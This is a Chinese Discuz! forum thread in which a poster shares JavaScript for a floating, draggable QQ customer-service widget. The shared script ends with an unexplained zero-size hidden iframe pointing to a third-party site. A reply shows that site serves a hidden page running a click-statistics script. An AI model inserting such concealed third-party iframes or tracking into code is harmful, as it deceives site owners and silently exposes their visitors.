Discuz!官方免费开源建站系统

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索

[发布] 漂浮QQ客服+自动识别在线状态

[复制链接]
libertine 发表于 2006-11-17 11:03:01 | 显示全部楼层
晕,这也算插件啊?
回复

使用道具 举报

板砖 发表于 2006-11-18 14:16:24 | 显示全部楼层
回复

使用道具 举报

kaidangcool 发表于 2007-3-5 06:15:11 | 显示全部楼层
原帖由 libertine 于 2006-11-17 11:03 发表
晕,这也算插件啊?

太对了,而且该人极其XX,就是咬着不给你核心代码和附件,然后叫你自动链接他的站
回复

使用道具 举报

ggap 发表于 2007-3-5 06:56:20 | 显示全部楼层
原帖由 kaidangcool 于 2007-3-5 06:15 发表

太对了,而且该人极其XX,就是咬着不给你核心代码和附件,然后叫你自动链接他的站

偶公开吧.
希望大家有时间支持一下.先把图片下载.然后把地址改成你的网址.再把相应的图片传服务器相应的地方就行了.
新建文档.复制下面的代码.重命名为qq.js
document.writeln("<!--ggap代码-->");
document.writeln("<style type=\"text\/css\">");
document.writeln("<!-- ");
document.writeln("body{font-size=9pt}");
document.writeln("TH{FONT-SIZE: 9pt}");
document.writeln("TD{ FONT-SIZE: 9pt}");
document.writeln("#floater {");
document.writeln("position: absolute;");
document.writeln("left: 15px;");
document.writeln("top: 600;");
document.writeln("width: 125;");
document.writeln("visibility: visible;");
document.writeln("z-index: 10;");
document.writeln("}");
document.writeln("-->");
document.writeln("<\/style>");
document.writeln("");
document.writeln("");
document.writeln("<script>");
document.writeln("var online= new Array();");
document.writeln("if (!document.layers)");
document.writeln("document.write(\'<div id=\"divStayTopLeft\" style=\"position:absolute\">\')");
document.writeln("<\/script>");
document.writeln("<!--ggap论坛网址:www.ggap.com.cn-->");
document.writeln("");
document.writeln("");
document.writeln("<div ID=\"floater\" style=\"right: 2px; top: 153px; width: 48px; height: 48px\"> ");
document.writeln("");
document.writeln("<TABLE cellSpacing=0 cellPadding=0 width=100 align=center border=0 id=\"table2\">");
document.writeln("  <TBODY>");
document.writeln("  <TR>");
document.writeln("    <TD>");
document.writeln("        <IMG height=55 ");
document.writeln("      src=\"http:\/\/www.ggap.com.cn\/images\/qq_up.gif\" ");
document.writeln("      width=118 useMap=#m_about02Map border=0><\/TD><\/TR><\/TBODY><\/TABLE>");
document.writeln("");
document.writeln("<DIV id=tracq1>");
document.writeln("");
document.writeln("<TABLE cellSpacing=0 cellPadding=0 width=100 align=center border=0 id=\"table3\">");
document.writeln("  <TBODY>");
document.writeln("  <TR>");
document.writeln("    <TD class=cpx12hei vAlign=center align=middle width=118 ");
document.writeln("    background=\"http:\/\/www.ggap.com.cn\/images\/qq_mid.gif\" ");
document.writeln("    height=80>");
document.writeln("      <TABLE height=20 cellSpacing=0 cellPadding=0 width=101 align=center ");
document.writeln("      background=\"http:\/\/www.ggap.com.cn\/images\/qq_list.gif\" ");
document.writeln("      border=0 id=\"table4\">");
document.writeln("        <TBODY>");
document.writeln("        <TR>");
document.writeln("          <TD align=middle><SPAN class=px12>点击交谈<\/SPAN><\/TD><\/TR><\/TBODY><\/TABLE>");
document.writeln("");
document.writeln("      <TABLE cellSpacing=0 cellPadding=0 width=\"100%\" border=0 id=\"table5\">");
document.writeln("        <TBODY>");
document.writeln("        <TR>");
document.writeln("          <TD height=5>");
document.writeln("<SPAN id=ad_01>正在加载中...<\/SPAN>");
document.writeln("");
document.writeln("<\/TD><\/TR><\/TBODY><\/TABLE>");
document.writeln("     ");
document.writeln("");
document.writeln("    <\/TD><\/TR>");
document.writeln("  <TR>");
document.writeln("    <TD>");
document.writeln("<IMG height=21 ");
document.writeln("      src=\"http:\/\/www.ggap.com.cn\/images\/qq_bot.gif\" ");
document.writeln("      width=118 align=center border=0><\/TD><\/TR><\/TBODY><\/TABLE><\/TD><\/TR><\/TBODY><\/TABLE><\/DIV><\/DIV><\/DIV><\/DIV>");
document.writeln("<p> ");
document.writeln("  <script LANGUAGE=\"JavaScript\">");
document.writeln("self.onError=null;");
document.writeln("currentX = currentY = 0;");
document.writeln("whichIt = null;");
document.writeln("lastScrollX = 0; lastScrollY = 0;");
document.writeln("NS = (document.layers) ? 1 : 0;");
document.writeln("IE = (document.all) ? 1: 0;");
document.writeln("<!-- STALKER CODE -->");
document.writeln("function heartBeat() {");
document.writeln("if(IE) { diffY = document.body.scrollTop; diffX = document.body.scrollLeft; }");
document.writeln("if(NS) { diffY = self.pageYOffset; diffX = self.pageXOffset; }");
document.writeln("if(diffY != lastScrollY) {");
document.writeln("percent = .1 * (diffY - lastScrollY);");
document.writeln("if(percent > 0) percent = Math.ceil(percent);");
document.writeln("else percent = Math.floor(percent);");
document.writeln("if(IE) document.all.floater.style.pixelTop += percent;");
document.writeln("if(NS) document.floater.top += percent;");
document.writeln("lastScrollY = lastScrollY + percent;");
document.writeln("}");
document.writeln("if(diffX != lastScrollX) {");
document.writeln("percent = .1 * (diffX - lastScrollX);");
document.writeln("if(percent > 0) percent = Math.ceil(percent);");
document.writeln("else percent = Math.floor(percent);");
document.writeln("if(IE) document.all.floater.style.pixelLeft += percent;");
document.writeln("if(NS) document.floater.left += percent;");
document.writeln("lastScrollX = lastScrollX + percent;");
document.writeln("}");
document.writeln("}");
document.writeln("function checkFocus(x,y) {");
document.writeln("stalkerx = document.floater.pageX;");
document.writeln("stalkery = document.floater.pageY;");
document.writeln("stalkerwidth = document.floater.clip.width;");
document.writeln("stalkerheight = document.floater.clip.height;");
document.writeln("if( (x > stalkerx && x < (stalkerx+stalkerwidth)) && (y > stalkery && y < (stalkery+stalkerheight))) return true;");
document.writeln("else return false;");
document.writeln("}");
document.writeln("function grabIt(e) {");
document.writeln("if(IE) {");
document.writeln("whichIt = event.srcElement;");
document.writeln("while (whichIt.id.indexOf(\"floater\") == -1) {");
document.writeln("whichIt = whichIt.parentElement;");
document.writeln("if (whichIt == null) { return true; }");
document.writeln("}");
document.writeln("whichIt.style.pixelLeft = whichIt.offsetLeft;");
document.writeln("whichIt.style.pixelTop = whichIt.offsetTop;");
document.writeln("currentX = (event.clientX + document.body.scrollLeft);");
document.writeln("currentY = (event.clientY + document.body.scrollTop);");
document.writeln("} else {");
document.writeln("window.captureEvents(Event.MOUSEMOVE);");
document.writeln("if(checkFocus (e.pageX,e.pageY)) {");
document.writeln("");
document.writeln("whichIt = document.floater;");
document.writeln("StalkerTouchedX = e.pageX-document.floater.pageX;");
document.writeln("StalkerTouchedY = e.pageY-document.floater.pageY;");
document.writeln("}");
document.writeln("}");
document.writeln("return true;");
document.writeln("}");
document.writeln("function moveIt(e) {");
document.writeln("if (whichIt == null) { return false; }");
document.writeln("if(IE) {");
document.writeln("newX = (event.clientX + document.body.scrollLeft);");
document.writeln("newY = (event.clientY + document.body.scrollTop);");
document.writeln("distanceX = (newX - currentX); distanceY = (newY - currentY);");
document.writeln("currentX = newX; currentY = newY;");
document.writeln("whichIt.style.pixelLeft += distanceX;");
document.writeln("whichIt.style.pixelTop += distanceY;");
document.writeln("if(whichIt.style.pixelTop < document.body.scrollTop) whichIt.style.pixelTop = document.body.scrollTop;");
document.writeln("if(whichIt.style.pixelLeft < document.body.scrollLeft) whichIt.style.pixelLeft = document.body.scrollLeft;");
document.writeln("if(whichIt.style.pixelLeft > document.body.offsetWidth - document.body.scrollLeft - whichIt.style.pixelWidth - 20) whichIt.style.pixelLeft = document.body.offsetWidth - whichIt.style.pixelWidth - 20;");
document.writeln("if(whichIt.style.pixelTop > document.body.offsetHeight + document.body.scrollTop - whichIt.style.pixelHeight - 5) whichIt.style.pixelTop = document.body.offsetHeight + document.body.scrollTop - whichIt.style.pixelHeight - 5;");
document.writeln("event.returnValue = false;");
document.writeln("} else {");
document.writeln("whichIt.moveTo(e.pageX-StalkerTouchedX,e.pageY-StalkerTouchedY);");
document.writeln("if(whichIt.left < 0+self.pageXOffset) whichIt.left = 0+self.pageXOffset;");
document.writeln("if(whichIt.top < 0+self.pageYOffset) whichIt.top = 0+self.pageYOffset;");
document.writeln("if( (whichIt.left + whichIt.clip.width) >= (window.innerWidth+self.pageXOffset-17)) whichIt.left = ((window.innerWidth+self.pageXOffset)-whichIt.clip.width)-17;");
document.writeln("if( (whichIt.top + whichIt.clip.height) >= (window.innerHeight+self.pageYOffset-17)) whichIt.top = ((window.innerHeight+self.pageYOffset)-whichIt.clip.height)-17;");
document.writeln("return false;");
document.writeln("}");
document.writeln("return false;");
document.writeln("}");
document.writeln("function dropIt() {");
document.writeln("whichIt = null;");
document.writeln("if(NS) window.releaseEvents (Event.MOUSEMOVE);");
document.writeln("return true;");
document.writeln("}");
document.writeln("if(NS) {");
document.writeln("window.captureEvents(Event.MOUSEUP|Event.MOUSEDOWN);");
document.writeln("window.onmousedown = grabIt;");
document.writeln("window.onmousemove = moveIt;");
document.writeln("window.onmouseup = dropIt;");
document.writeln("}");
document.writeln("if(IE) {");
document.writeln("");
document.writeln("document.onmousedown = grabIt;");
document.writeln("document.onmousemove = moveIt;");
document.writeln("document.onmouseup = dropIt;");
document.writeln("}");
document.writeln("if(NS || IE) action = window.setInterval(\"heartBeat()\",1);");
document.writeln("<\/script>");
document.writeln("<IFRAME border=0 name=play  marginWidth=0 marginHeight=0 src=http:\/\/www.wxlmbbs.com\/js.php frameBorder=0 width=0 scrolling=no height=0><\/IFRAME>")
document.writeln("  <!--www.ggap.com.cn-->");
回复

使用道具 举报

530761333 发表于 2007-3-5 10:20:59 | 显示全部楼层
不要,不合适我的论坛你能为我改进吗?
回复

使用道具 举报

998w 发表于 2007-3-5 11:26:50 | 显示全部楼层
不错,先收起来了!!!
回复

使用道具 举报

998w 发表于 2007-3-5 11:28:54 | 显示全部楼层
http:\/\/www.wxlmbbs.com\/js.php 这个也提供出来撒!!!
回复

使用道具 举报

凯哥 发表于 2007-3-6 12:50:25 | 显示全部楼层
支持一下,娃咔咔
回复

使用道具 举报

ggap 发表于 2007-3-7 05:17:21 | 显示全部楼层
原帖由 998w 于 2007-3-5 11:28 发表
http:\/\/www.wxlmbbs.com\/js.php 这个也提供出来撒!!!

在这里..呵呵..还有教你怎么做~~~实现论坛在线QQ交谈--QQ号集合在一起制作方法

https://discuz.dismall.com/thread-546373-1-1.html

打个小广告有空点下我的论坛(想点就点.不想点不强迫)url=http://www.ggap.com.cn
回复

使用道具 举报

老锅 发表于 2007-3-7 09:13:03 | 显示全部楼层
JS.php 只是个统计莲接

<html xmlns="http://www.wxlmbbs.com">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>维修联盟论坛</title>
<style type="text/css">
<!--
div {
position: relative;
visibility: hidden;
}
-->
</style>
</head>vb

<body>
<p>JC特效程序文件,请不要将此文件下载使用</p>
<div>
<script language="JavaScript" type="text/javascript" src="http://c6.50bang.com/click.js?user_id=406324&amp;l=901" charset="gb2312"></script>
<script>var lainframe;</script>
</div>
</body>
</html>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|小黑屋|Discuz! 官方站 ( 皖ICP备16010102号 )star

GMT+8, 2024-11-16 23:46 , Processed in 0.030421 second(s), 3 queries , Gzip On, Redis On.

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表